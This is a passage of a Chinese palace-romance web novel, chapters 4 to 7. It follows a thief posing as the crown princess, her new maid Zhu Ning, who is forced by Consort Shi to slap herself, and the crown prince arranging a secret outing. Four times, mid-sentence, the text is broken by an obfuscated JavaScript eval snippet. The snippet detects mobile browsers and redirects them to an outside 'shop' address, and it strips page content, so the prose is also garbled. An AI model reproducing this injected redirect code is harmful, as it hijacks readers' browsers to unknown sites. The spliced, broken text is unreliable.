殿门合拢的刹那,叶小寻腾地一下坐起来,拍着胸口大口喘气:“憋死我了。” 等气儿顺了,她才猛然发现,那位活阎罗正用一种审视玩味的目光盯着自己。 叶小寻立刻收敛神色,坐直了身子,清了清嗓子道:“那个……昨天的事儿也算结了。我觉得我待在这儿也帮不上你什么忙,要不,我还是偷偷出宫去吧?” 容慎静静地看着她表演,薄唇微抿,并不接话。 叶小寻被他看得心里发毛,小心翼翼地补充道:“你看,我这人粗手粗脚的,高贵的太子妃我哪儿当得来呀?万一露馅了,不是给你找麻烦吗?” “你以为,孤是在跟你打商量?” 容慎忽然迈开长腿,朝她逼近。 叶小寻以为他又要像昨晚那样掐自己脖子,吓得赶紧捂住喉咙,整个人往软榻角落里缩。 然而,容慎只是在榻前定定站住。 他微微俯身,阴影将她娇小的身子完全笼罩。这个距离太近了,叶小寻甚至能闻到他身上那股清冽干燥的气息,带着一种上位者的危险与压迫。 “你现在的活路只有一条,就是乖乖当好这个太子妃。听明白了吗?” 他的声音低沉而磁性,像是在她耳畔轻敲的冷玉。 “至于你昨天提到的养父母……”他语调微顿。 叶小寻觉得自己的心脏被一只无形的手猛地攥紧,呼吸都屏住了。 “想让他们平安,你就要在这深宫里,替霍清婉活下去。”容慎直起腰,眼神冰冷而锐利,“还有,宫里见过霍清婉的人不在少数。除了东宫,你最好不要到处抛头露面,省得给孤惹麻烦。” 叶小寻心里憋屈得厉害,下唇微微发抖。 她这辈子最大的跟头,就是栽在这个男人手里。 可既然他连叶片儿都查到了,显然在处理昨晚的残局时,已经把她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132712|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的底细摸了个透。 半晌,她才蚊子叫似的嘟囔道:“那你得保他们平安……他们被刘老爷捉去了。要不是为了救他们,我也不会答应刘老爷卖这个命。” 容慎漫不经心地点了点头:“哦?那他们又是怎么被捉的?” 叶小寻脸上闪过一丝窘迫,红着脸小声嘟囔:“他们去刘老爷家偷东西,被逮了个现行。我要是不答应进宫取那颗夜明珠,还不知道他们会被砍手还是剁腿……” 容慎听完,陷入了长久的沉默。 叶小寻跟着养父母偷鸡摸狗这么多年,第一次觉得如此丢人,恨不得找个地缝钻进去。 她不敢看容慎的眼神,想必在那位矜贵的太子殿下眼里,他们这种蝼蚁的行当定是卑贱到了极点。 可叶片儿再怎么不堪,也把她养大了。 她正要硬着头皮辩解几句,却见容慎后退了两步,语气平缓地丢下一句: “如果他们平安到家了,孤会让你知道。” 就这么简单? 叶小寻没想到他答应得这么痛快,原本准备好的一肚子腹稿都没了用武之地。 她反而有些失落,心里空落落的。 入了这深宫,只怕以后再难见到他们了。 那两口子虽然行当不光彩,但对自己是真的好。这世上,也只有他们会惦记她。 想到这里,鼻尖莫名有些发酸。 接下来的几天,叶小寻被变相软禁在了东宫寝殿里。容慎似乎极忙,连面都没露。 叶小寻心想,看新婚之夜连个陪嫁嬷嬷都敢在他头上动土,他在宫里的日子恐怕也不好过。 不过,她现在最挂心的还是叶片儿和叶根儿的消息。养父母一日不平安,她就一刻不得心安。 这寝殿虽然大,但这几天她来回走动,哪儿有个茶几,哪儿有个软榻,早就摸得门儿清。 成亲的聘礼和嫁妆一样不少地摆在那儿,甚至连那个沉甸甸的兵符,容慎都没收走。 叶小寻像个愁眉苦脸的小老太,一脸怨气地盯着那块兵符。 “晦气,都怪你这劳什子,害得老娘赔了夫人又折兵。” 窗外传来细微的脚步声。叶小寻眼珠一转,趴在窗口,瞧见两名提着灯笼的宫人走过,赶紧出声叫住:“二位小哥请留步!那个……殿下他还没回来吗?” 两名宫人赶忙行礼,语气诚惶诚恐:“回娘娘的话,殿下这几日在勤政殿与陛下议事,经常要到二更天才归。殿下特意嘱咐奴才们,切莫惊扰了娘娘休息。” “哦……知道了。”叶小寻有些丧气地关上窗。 大忙人,真是大忙人。怕不是早就把答应她的事儿给忘了?我呸。 叶小寻骂骂咧咧地在屋里转圈,心里的算盘珠子拨得噼里啪啦响。 横竖她假冒这个太子妃也是装病,那何不趁着月黑风高偷偷溜出去瞧瞧? 反正外头的人也没法把她的脸和霍清婉对上号,只要她身手够快,谁能抓得住她? 想到这儿,她嘴角勾起一抹狡黠的笑,为自己的聪明才智暗暗叫好。 5. 第 5 章 出逃这档子事,还得从长计议。 这儿可是大晟朝的皇宫,紫禁之巅,守卫森严,正所谓小心使得万年船,阴沟里翻船这种事,绝不能发生在她叶小寻身上。 叶小寻对着铜镜,使劲拍了拍自己的脸颊,试图把那股子懒散劲儿拍散。 “叶小寻啊叶小寻,不能再这么荒废下去了!叶片儿叶根儿还等着你去尽孝呢,从现在开始,得活泛起来!” 江湖规矩第一条:知己知彼,百战不殆。先踩好盘子再说。 清早,天色不过刚泛起鱼肚白,东宫的殿门就被轻轻推开。 一溜儿的小宫女鱼贯而入,在这个点儿伺候洗漱更衣,对于习惯了昼伏夜出的飞贼来说,简直是酷刑。 叶小寻只觉得自己像个任人摆弄的布偶,还没回过神来,就被按在了妆台前。 今儿据说是她身子大安,第一天能正式起身的好日子,东宫特意派来了专门梳头的宫女。 她这辈子也是头一遭享受这种福气。 那宫女手劲儿大得离谱,木梳篦下来,叶小寻只觉着头皮都要被整块掀下来了。 “嘶——”她没忍住倒吸一口凉气。 身后的小宫女吓得魂飞魄散,噗通一声跪下,三跪九叩慌忙请罪:“娘娘恕罪!奴婢手重了,奴婢该死!” 叶小寻哪里见过这种阵仗。 平日里在江湖上混,谁不是嘻嘻哈哈的。 她也不敢多言,生怕露馅,只能硬着头皮摆摆手让小宫女起来继续。 为了不让自己叫出声,她死死憋着一口气,直到那个繁复无比的高髻终于盘完,她眼眶里已经憋出了一汪泪花。 紧接着,又是两行宫人无声地飘了进来,恭恭敬敬地摆上了奢靡至极的早膳。 叶小寻装模作样地扫了一眼满桌的珍馐,垂涎欲滴的同时,余光还是习惯性地瞟了一眼角落里的刻漏。 巳时。 这宫里的作息,对她这种习惯后半夜精神抖擞的夜猫子来说,实在太不友好了。 叶小寻无奈地撇撇嘴,强压下哈欠。 “娘娘,请用膳。” 容慎那个闷葫芦也没跟她交代太多,叶小寻到现在也没摸清眼前这些低眉顺眼的宫女们,到底知不知道她是个冒牌货。 不管了,兵来将挡。 她端起那股子戏文里学来的太子正妃范儿,懒洋洋地挥了挥衣袖:“都摆好了就退下吧,本宫不习惯吃饭时有人盯着。” 宫人们应声退下。 她终于知道为什么大家对权力趋之若鹜了。的确感觉不错。 叶小寻也只敢这么想想,这种体验还不知有命能享到几时呢。 该说不说,这皇家饭食看着琳琅满目,跟摆供果似的,每一样却只有猫舔那么一点儿量。 她东一筷子西一勺,吃完一圈,竟不多不少将将饱。 吃饱喝足,正是踩盘子的好时候。 她悠闲地起身,背着手踱步到殿门口,轻轻推开那扇沉重的雕花木门。 门外两旁,早已像木桩子一样守着两排宫人。 见她露面,齐刷刷地跪倒一片,声音整齐划一:“给娘娘请安。” 叶小寻差点没顺着门框溜下去。 她深吸一口气,努力佯装镇定,清了清嗓子:“咳,都起来吧。我……本宫就是出来溜达溜达,消消食。” 宫人们极识趣,立刻躬身退后,给她让出一条宽敞的大道。 没人拦着? 叶小寻有点惊讶,试探性地迈出一只脚,鞋底落地,左右瞄了瞄,发现这帮人除了把头埋得更低之外,没有任何反应。 她这才放心大胆地走了出来。 看来只要不出这东宫的大门,她这位太子妃的自由度还是很高的嘛。 叶小寻心中暗喜,觉得自己离成功出逃又近了一步。 于是,她像个巡视领地的山大王,跟示威似的绕着寝殿外围走了一圈。 这几天一直憋在屋里养伤,这一出来才发现,那琉璃瓦顶,在阳光下晃得人眼晕;那红墙高耸入云,墙面磨得比镜子还光溜。 溜达一圈,消食不少,却没发现半点破绽。 叶小寻叹了口气,决定还是先回去吃点零嘴,祭一祭五脏庙,顺便压压惊。 回到寝殿门口,她再次清了清嗓子,再次受用于这种狐假虎威的滋味。 “本宫肚子饿了,去拿些糕点来。” 谁知话音刚落,那一众宫人竟脸色大变,哗啦啦跪了一地,磕头如捣蒜。 “请娘娘恕罪!奴婢们该死,竟然委屈了娘娘,让娘娘亲自开口要糕点!还请娘娘责罚!” 这皇宫里的人怎么动不动就跪啊?! 叶小寻被这突如其来的大礼吓懵了:“哎哎哎,你们这是干什么呀?我就想吃块饼……” 领头的小内侍双膝跪地,膝行几步上前,重重磕了个响头,额头都红了一片:“不知娘娘食量深浅,是奴婢们照顾不周!太子殿下治下严谨,若是知道娘娘没吃饱,奴婢们就是有十个脑袋也不够砍的啊!” 叶小寻嘴角抽搐:“我就是嘴馋而已,与你们何干?再说了,刚才那一桌子菜量正好,你们要是再多加一个菜,我都要撑破肚皮了。” 被这么一闹腾,叶小寻那点馋虫早就吓跑了。 这种动不动就跪、动不动就死罪的日子,她是一天也待不下去了。 想要出宫的心情,在这一瞬间达到了顶峰。 正烦着呢,外头又传来了叩门声。 进来的是上次那个帮她张罗去燕安宫请安的周嬷嬷,今天她倒是一脸慈眉善目,身后还跟了一个垂着头的小宫女。 “嬷嬷有事吗?”叶小寻瞄见小宫女手上拎的食盒,胃里一阵发堵,“如果是送吃的就不必了,我刚才是说着玩的,现在真吃不下。” 周嬷嬷笑着福了福身:“原来如此,那是赶上不巧了。一会儿老奴让祝凝把糕点放回小厨房,娘娘什么时候想吃了,再让厨房现做便是。祝凝,还不过来见过娘娘。” 身后那小宫女连忙上前,双膝跪地行了个大礼,声音细如蚊讷: “奴婢祝凝,拜见娘娘。娘娘万福金安。太子爷说娘娘身边缺个贴心的人伺候,若是再去镇国公府要人,恐是不妥,于是便指派奴婢来伺候娘娘。从此奴婢便是娘娘的人,随娘娘差遣。” 周嬷嬷在一旁陪笑道:“有些体己话呀,还是年龄相仿的姑娘说起来方便。我们这几把老骨头,伺候得虽然周到,但娘娘想解闷儿的时候,还是祝凝这种机灵丫头来得好。” 叶小寻听得一阵头疼。 本来一个人还好谋划,现在多了一双眼睛盯着,她还怎么溜? 周嬷嬷又絮絮叨叨嘱咐了几句,便退下了,留叶小寻和祝凝二人在房间里大眼瞪小眼。 叶小寻盯着跪在地上的祝凝,心里盘算着,现在有两个办法。 第一,把这丫头打晕了塞床底下;第二,比较仁慈点,找个理由把她退了去。 祝凝被看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132713|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得发毛,乖巧地福身道:“娘娘若有什么吩咐,尽管差遣奴婢就是。” “我想让你回家歇着,别来盯着我。”叶小寻在心里腹诽了一句,面上却转了转眼珠子,计上心来。 她故意扬声道:“说了半天话,有些渴了,给我上杯茶吧。” 祝凝不疑有他,连忙倒了一盏热茶,懵懵懂懂地递上前。 叶小寻漫不经心地伸出手去接,就在手指刚触碰到茶盏的一瞬间,她手腕极其隐蔽地一翻,手指一松。 “啪!” 清脆的碎裂声在寂静的殿内炸响,茶水泼了一地,茶盏碎成了八瓣。 顺利!不错!这碰瓷的手法没生疏! 叶小寻正准备乘胜追击,端起架子发难把人赶走,谁知下一秒—— “扑通!” 小姑娘像是膝盖没骨头似的,猛地跪在碎瓷片边上,一边疯狂磕头一边哭喊:“娘娘恕罪!娘娘恕罪!求娘娘千万别把奴婢打发回去!奴婢会被打死的!” 那磕头的架势,地板都快被她凿穿了。 叶小寻当场就傻了眼,原本准备好的刁难台词全卡在了嗓子眼里。 她尴尬地伸着手,一时半会儿不知道该往哪儿放。 “哎呀,你停停停!” 实在看不下去了,叶小寻忙弯腰去扶她:“我又不是吃人的老虎,不就是我自己不小心打了杯茶吗?不至于不至于!” 祝凝哭得梨花带雨,抽抽搭搭地说:“奴婢……奴婢刚进宫的时候笨手笨脚,得罪了掌事嬷嬷,在掖庭里面被搓磨得很惨。好不容易才有了出头之日,能来服侍太子妃娘娘,这是天大的福气……若是被赶回去,别说奴婢贱命一条,奴婢的父母也要没命了!奴婢一定会好好伺候娘娘,生是娘娘的人,死是娘娘的鬼!” 叶小寻最受不了别人哭,尤其是这种苦命的小丫头。 “行了行了,别哭了,吵得我脑仁疼。”叶小寻无奈地叹了口气,摆摆手道,“算了,你就在我这儿呆着吧。不过咱们得约法三章。我不叫你的时候,千万别来打扰我;听到屋里有什么奇怪的响动,也不准进来;以后我要是有个什么三长两短……咳,我是说万一,跟你也毫无关系。” 祝凝一听,吓得脸都白了,连连摆手:“怎么可能呢?娘娘千金之躯,若是有什么不测,奴婢是第一个要掉脑袋的呀!” 这丫头怎么是个死脑筋! 叶小寻不耐烦了,江湖习气一上来,拍着桌子道:“那我给你立个字据,签字画押行了吧?就说是我叶……呃,本宫主动写的生死状,死生自负,跟你无关!这样总行了吧?” 说着,她就要张罗笔墨纸砚。 祝凝劝也劝不动,只好帮她在书案上寻到了文房四宝,叶小寻这才发现,原来写字这事儿,还得从磨墨开始。 她尴尬地抓起墨锭,学着戏文里的样子,在砚台里胡乱怼了两把。 也不知是不是水加多了,反正看着那墨汁灰不溜秋的,稀得跟刷墙水似的。 “娘娘,还是奴婢来吧。”祝凝低眉顺眼地接过墨锭,轻车熟路地研起墨来。 叶小寻有些脸红地抓起毛笔,像握匕首一样攥在手里,饱蘸了墨水,正要往宣纸上戳,手却突然僵在了半空。 坏了,话说太满,忘了这茬了。 她叶小寻飞檐走壁在行,但这笔下的字它不认识她,她也不认识它啊! 正举着笔尴尬得脚趾扣地呢,外头突然传来一声通传: “贵妃娘娘驾到——” 6. 第 6 章 “贵妃娘娘驾到——” “贵妃娘娘驾到——” 这一声通传如平地惊雷,尖细的嗓音穿透了殿门。 叶小寻吓得魂飞魄散,手里的毛笔啪嗒一声掉在纸上,墨水溅了一手。 她哪里还顾得上收拾这满桌狼藉的笔墨,慌不择路地想找个地缝钻进去。 “是师贵妃!”就在这时,原本柔柔弱弱的祝凝眼中一丝畏惧闪过,背脊却突然挺得笔直。 她迅速理了理衣襟,变得极度谨慎规矩,快步走到外殿门口,竟是用身躯硬生生将气势汹汹的师贵妃挡在了门外。 祝凝双膝跪地,恭恭敬敬地行了大礼,声音却是不卑不亢:“贵妃娘娘请恕罪,太子妃娘娘身体不适,现下已经歇着了。” 师贵妃一身正红宫装,满头珠翠耀眼夺目。 她凤眼微眯,居高临下地瞥了一眼跪在地上的祝凝,嘴角勾起一抹讥诮的弧度: “歇着了?这已经快到午时,日上三竿的,哪门子大家闺秀这个时候歇着?” 她漫不经心地抚了抚护甲上的宝石,语调陡然拔高:“本宫今日特意来见见儿媳,你一个低贱的奴婢,居然敢拦本宫的路?谁给你的狗胆?” 说完,她给身边的嬷嬷使了个眼色,抬脚就要往里闯。 祝凝不敢起身,膝行着挪了一步,再次死死挡在贵妃身前。 她额头贴着冰冷的地面,声音有些发颤却异常坚定:“并非奴婢斗胆,实在是主子病得有些重。太医说了,这病气凶猛,最易过人。娘娘千金凤体,若是被过了病气,奴婢便是万死也难辞其咎。还望贵妃娘娘以凤体为重,请回吧!” 师贵妃脚步一顿。 她今日原本是存心来找茬的,祝凝这一顶为了娘娘凤体着想的高帽子扣下来,她若是硬闯,反倒显得不爱惜自己身体,甚至有些不知轻重了。 师贵妃眼底闪过一丝愠色,怒极反笑。 “好,好,好。” 她火红的裙摆如蛇信般贴着祝凝划来划去。 “好一张利嘴,好一个忠仆。” 师贵妃的眼神如刀子般在祝凝身上剐过,“既然你主子病得人事不省,那你这个做奴才的,不仅没伺候在侧,反而在门口挡本宫的驾,这就是东宫的规矩?” 祝凝把头埋得更低:“奴婢知罪。” “知罪就好。”师贵妃慢条斯理地整了整袖口,声音冷得掉渣,“既然知罪,那本宫就替你主子教教你规矩。来人,把椅子搬过来。” 她弯腰用镶着金玉的护甲划过祝凝的脸颊,手指一勾,祝凝的脸上霎时多了一道血痕。 几个内侍立刻搬来一把太师椅,放在了殿门口正中央。 师贵妃施施然坐下,接过宫女递来的茶盏,轻轻撇去浮沫,眼皮都不抬一下:“既然你这么喜欢跪着,那就跪着掌嘴吧。打到你主子醒过来为止,若是你主子一直不醒,你就一直打,少一下,本宫就让人替你打十下。” 祝凝咬了咬牙,二话不说,抬手便是一巴掌狠狠扇在自己脸上。 “啪!” 一声脆响,在寂静的庭院中格外刺耳。 师贵妃抿了一口茶,微微皱眉:“没吃饭吗?听不见响儿。重些。” 祝凝只能加重力道。 “啪!啪!啪!” 脸颊迅速红肿起来,嘴角渗出了血丝,每一次挥手,都能听到皮肉撞击的闷响。 叶小寻躲在内殿的屏风后,透过缝隙看着这一幕,急得像是热锅上的蚂蚁。 这么打下去还得了? 她下意识地抬脚就要冲出去替祝凝出头,可手刚触到门框,容慎那冰冷警告的声音就像咒语一样在脑海里炸响。 “……宫里见过霍清婉的人不在少数……不要抛头露面……” 叶小寻伸出的脚硬生生缩了回来。 容慎是储君,天塌下来顶多伤点皮毛。 可她呢?她是什么小喽啰,死她一个京城里除了叶片儿两口子,恐怕没人在乎。 想到这里,叶小寻浑身发冷,后背瞬间被冷汗浸透。 她只能死死攥着衣角,内疚得眼圈发红,指甲嵌进了肉里。 忍一忍,只要忍一忍,等贵妃出了气走了,她立马就让祝凝停手。 师贵妃坐在椅子上,好整以暇地看着,嘴角甚至挂着残忍的笑意:“用力点,太轻了,本宫听不见。” 就在叶小寻几乎要忍不住冲出去的时候,宫外突然传来一道清冷的声音: “贵妃娘娘真是好闲情雅致啊。” 叶小寻猛地抬头,只见容慎一袭玄衣,领着一名提着药箱的老太医大步流星地走了进来。 容慎扫了一眼跪在地上脸颊高肿的祝凝,眸色瞬间沉了下来。 他随即看向师贵妃,语气凉薄透着寒意: “跑到儿臣这东宫门口,摆这三堂会审的架势为难一个婢女,这就是贵妃娘娘的体面吗?” 那老太医极有眼色,见气氛剑拔弩张,立刻上前对着师贵妃躬身行礼。 师贵妃见太子来了,也不好再继续发作,只得放下茶盏,冷哼一声:“太子来得倒巧。前几日便听说太子妃身体不适,你不带太医来看,偏偏本宫来了你才来?太医正,你说是吧?” 太医正闻言,一脸惶恐地看了看太子,又毕恭毕敬地对着贵妃作揖道:“贵妃娘娘这可是折煞微臣了。娘娘何出此言啊?微臣昨日夜里就受了太子急召,入宫来给太子妃娘娘诊治过了。这出诊的脉案,在太医院都是有档可查的,做不得假。” 师贵妃狐疑地打量着太医正:“哦?既然如此,那太子妃到底得的是什么病?连个身都起不来?” 太医正不紧不慢地回话:“回禀娘娘,其实也无甚大碍。只是大婚之夜,太子妃娘娘饮了合卺酒,酒意上涌之时却又吹了冷风。这风邪入体,便起了高热伤寒。此症虽不致命,但确实容易过给旁人。贵妃娘娘千金之躯,还是莫要进去的好,万一过了病气,皇上怪罪下来,微臣们有几个脑袋也不够砍的呀。” 此时,一旁的祝凝还在机械地掌着嘴,脸已经肿得看不出原来的模样。 师贵妃听了这话,下意识地用帕子掩了掩口鼻,嫌恶地看了一眼祝凝,站起身来整理裙摆:“真是晦气。既然病了就好好养着吧,别出来丢人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132714|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现眼。回宫!” 说罢,带着浩浩荡荡的一群人扬长而去。 待那宫门咔嗒一声落了锁,叶小寻再也忍不住,直接冲着窗外喊道:“祝凝!快住手!别打了!” 太医正听到这中气十足的喊声,面不改色,仿佛聋了一般,依旧垂头行礼。 容慎淡淡地看了祝凝一眼,吩咐道:“下去上药吧。赵太医,去给娘娘看一看。” 叶小寻见人要进来,吓得赶紧把窗户关上。 片刻后,太医正进了内殿。 他一本正经地指挥宫人们围上了厚厚的帷幔,又拿出一块丝帕盖在叶小寻的手腕上,这才隔着丝帕开始悬丝诊脉。 整个过程中,太医正眼观鼻、鼻观心,别说抬头看叶小寻一眼了,连眼皮子都没抬一下。 诊完脉,太医正收起丝帕,先是取了个药瓶出来,对叶小寻道: “行走宫中难免磕绊,这药老臣赠与娘娘,跌打损伤,淤血肿胀都可及时见效。娘娘备在身边总不会出差错。” 叶小寻一怔,收下药瓶:“谢谢太医正挂心……” 她有些忧思地看向门口,祝凝垂着头回来了,脸上草率地涂了些药膏,不止效果如果。 她握紧了药瓶。 太医正这才煞有介事地走到容慎面前,语重心长地说道:“殿下,娘娘这风寒虽已用药,但底子虚。若是这几日不好好静养,只怕病情还会反复恶化,到时候若是成了长久的咳疾,那就不太好了。” 容慎心领神会,点了点头,顺势说道:“原来如此。孤听闻那个成嬷嬷说过,娘娘在娘家时身体就一向不太好。看来日后尔等伺候得得更上心些,免得病情加重。” 送走太医正后,容慎才绕到内殿。 见叶小寻坐在榻上闷闷不乐,只当她是吓着了,便冷淡地吩咐了一句:“既然病了,就老实呆着,别再想那些有的没的。” 说完,他转身就要走。 “你就打算一直这么关着我吗?” 身后突然传来叶小寻带着哭腔的声音。 容慎脚步一顿。 叶小寻吸了吸鼻子,委屈的情绪瞬间爆发:“你是太子,你爹是皇上,你天天在宫里抬头不见低头见的。可我呢?我在宫外也有爹娘的!虽然不是什么大人物,可也是把我拉扯到大的人。我想他们了……” 她越说越觉得不公平:“你天天都能跟自己亲爹待在一起,那我呢?我就得在这深宫里当个活死人吗?” 容慎已经走到了门口,听到这番话,身形微微一滞。 他沉默了片刻,转过身来。 叶小寻见他回头,以为自己那句顶撞的话得罪了他,刚才那股子勇气瞬间泄了气,吓得缩了缩脖子,生怕他也赏自己一顿掌嘴。 谁知容慎并没有发火,只是静静地看了她一眼,那眼神里似乎多了一丝不易察觉的复杂。 “若是想回去看看……”他顿了顿,语气依旧平淡,却掷地有声,“过两天,我可以安排。” 叶小寻猛地抬头,不敢置信地看着他,还没来得及问是不是真的,容慎的身影已经消失在门外。 7. 第 7 章 容慎的身影彻底消失在回廊尽头,东宫那股令人窒息的低气压才终于散去。 “呼——” 叶小寻像是被抽去了浑身的骨头,腿一软,毫无形象地瘫坐在了软塌上。 她后背全是冷汗,但这会儿还不是躺平的时候。 她猛地坐直身子,冲着还跪在地上的祝凝招手:“快起来,快过来让我看看你的脸!” 祝凝此时那张清秀的小脸已经肿得像个发面馒头,嘴角还挂着未干的血迹。 她忍着痛,勉强挤出一个比哭还难看的笑容:“娘娘……奴婢没事。若是奴婢下手轻了,那位……那位怕是更不会善罢甘休。” 叶小寻手忙脚乱地打开手中的药膏,小心翼翼地往她脸上抹。 冰凉的药膏触到滚烫的伤处,疼得祝凝倒吸了一口冷气。 叶小寻一边吹气一边皱眉,忍不住问道:“那贵妃到底什么来头?我看她那架势,进这东宫跟进自家后花园似的,贵妃而已,不知道的还以为她是皇后呢。” 听到这话,祝凝吓得手一抖,顾不得脸上的疼,赶紧凑过来想捂叶小寻的嘴,压低了声音惊恐道:“我的好娘娘哎,这话可不敢乱说!那是师贵妃!” 叶小寻扒拉下她的手,撇撇嘴:“贵妃和师贵妃有什么不同?没听过这个京城姓师啊。我看她刚才穿得红彤彤的,跟个成精的大红灯笼似的。” 祝凝叹了口气,眼中满是忌惮。 她看了看紧闭的殿门,确认四下无人,这才凑到叶小寻耳边,忍着嘴角的扯痛,轻声解释道: “娘娘有所不知,这师贵妃可不是一般人。自打太子爷的生母先皇后薨逝后,中宫之位便一直空悬。这师贵妃日夜伴驾,也不知使了什么法子,硬是成了圣上的心尖宠。如今在这后宫之中,她虽无皇后之名,所享的尊荣却早已与中宫无异,可谓是一手遮天。” 叶小寻听得一愣一愣的:“这么厉害?” “可不是嘛。您瞧她今日穿的那身正红织金宫装,按祖制,那是唯有正宫皇后才能用的颜色!可她就这么堂而皇之地穿出来了,满头的珠翠更是宝光逼人。她不单是给太子爷难堪,更是想压先皇后一头呢。” 叶小寻目瞪口呆,这才明白刚才祝凝为什么拼死也要把门堵住。 “乖乖,原来是个把自己当皇后的老妖婆……”叶小寻咋舌,随即脑瓜子一转,缩了缩脖子,“那她岂不是太子爷的后妈?难怪刚才太子爷看她的眼神,冷得跟冰碴子似的,跟看杀父仇人也没两样了……” “嘘——!” 祝凝吓得魂飞魄散,又要去捂她的嘴,急得眼泪都快出来了:“娘娘!杀父这种词更是大忌讳,万万说不得!这要是传出去,咱们这一屋子脑袋都不够砍的!咱们以后见着那位,绕道走便是了。” 叶小寻看着祝凝惊恐的样子,连忙做了个拉链封嘴的动作。 她靠在软枕上,翻来覆去。比起这些勾心斗角,她现在更在意的是容慎临走前留下的那句话。 ——“过两天,我可以安排。” 这句话像根羽毛,挠得叶小寻心里七上八下的。 然而,这两天过得简直比两年还漫长。 叶小寻从满怀期待等到百无聊赖,眼见着第二天的日头都已经落下去了,更漏声声,即将指向子时。 偌大的东宫一片死寂,叶小寻趴在窗棂上,看着天边那轮惨白的月亮,心一点点沉了下去。 “也是了,”她自嘲地扯了扯嘴角,手指无聊地抠着窗框,“东宫里连个阿猫阿狗都没有,我叶小寻算什么?人家太子爷随口一句漂亮话,哄小猫小狗的,怎么能当真呢?” 正当她准备吹灯拔蜡,带着满腹怨气去睡觉时,外殿的烛火突然诡异地跳动了一下。 一条黑影如鬼魅般,悄无声息地出现在了屏风旁。 叶小寻吓得差点叫出声,定睛一看,才认出是那个叫涤墨的贴身侍卫。 “娘娘。”涤墨面无表情,声音压得极低,“主子命属下来接您。” 没等叶小寻反应过来,涤墨走到一面看似普通的墙壁前,不知按了哪块砖石,咔嗒一声轻响,墙壁缓缓移开,露出了后面幽深漆黑的暗道。 叶小寻眼珠子都快瞪出来了。 她在这寝殿里住了好几天,职业习惯让她没事就敲敲打打,自诩对这房间了如指掌,居然完全没发现这里还有夹层! 正要抬脚往里进,她突然脚步一顿,狐疑地回头看着涤墨:“哎,我说,你们这一看就是大内机密,我这么个……外人,知道了真的合适吗?回头不会杀人灭口吧?” 涤墨神色平静,眼神清澈得像一潭死水:“娘娘既已嫁入东宫,便是主子的人,自然合适。” “……” 这话要是放在市井里,八成是哪个轻薄浪子在调戏大姑娘。 可眼前这木头脸侍卫说得一本正经,倒显得她有些心思不正了。 这种一本正经的暧昧,没由来地让叶小寻觉得耳朵根发烫。 “行行行,走吧。”她赶紧钻进了暗道,掩饰尴尬。 暗道狭长潮湿,走了约莫一盏茶的功夫,眼前豁然开朗。 这是一间隐蔽的密室。昏黄的烛光下,容慎正背对着她负手而立。 今夜的他换上了一袭月白色的锦袍,腰间只挂了一枚成色极好的羊脂玉佩。 虽看着依然贵气逼人,但少了那份高不可攀的冷冽,多了几分世家公子的清贵。 听到脚步声,容慎没有回头,只是微微侧首,指了指旁边的小矮几:“把这个换上。” 叶小寻走过去,拎起那套衣裳抖开一看,顿时有些傻眼。 这是一套寻常富户人家女眷的服饰,藕荷色的比甲,月白色的百迭裙,做工精致却不张扬。旁边还配了一支温润的银簪子。 她拎着衣服,左右看了看这空荡荡的密室,有些不知所措:“就在这儿?我换衣服……那你呢?” 容慎有些不耐烦地皱眉转身:“什么?” 叶小寻抱紧了怀里的衣服,往后缩了缩,怯怯地道:“那个……咱们孤男寡女的,男女授受不亲啊……” 容慎愣了一下,轻咳一声掩饰尴尬:“想什么呢。你在这儿换,孤……我出去等你。” 说罢,他大步流星地走出了密室,顺手扭了个机关合上石门。 密室里只剩下叶小寻一人。 她手忙脚乱地开始扒拉自己身上的宫装。换上那身民间衣裳时,她对着铜镜照了照。 镜中的女子长发低低挽起,只插那一支银簪,活脱脱一个小媳妇的模样。 叶小寻有些惆怅地摸了摸自己的脸。 自己明明还是个黄花大闺女呢,怎么进了一趟宫,连装束都变成妇人了? 正胡思乱想呢,门外传来容慎低沉略带沙哑的声音:“好了没?” 叶小寻心头一跳。这密室隔音似乎不太好,刚才自己换衣服那悉悉索索的动静,他是不是全听见了? “好……好了!” 她推门出去时,脸颊绯红,也不知是被密室闷的,还是羞的。 她觉得自己今天一定是真病了,不然为什么耳朵烫得快要熟了? …… 一出宫门,就像是鸟儿飞出了笼子。 此时虽已夜深,但京城的夜市依旧灯火通明。 街道两旁挂满了各式各样的灯笼,小贩的叫卖声、食物的香气扑面而来。 叶小寻深吸了一口这充满烟火气的空气,感觉多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 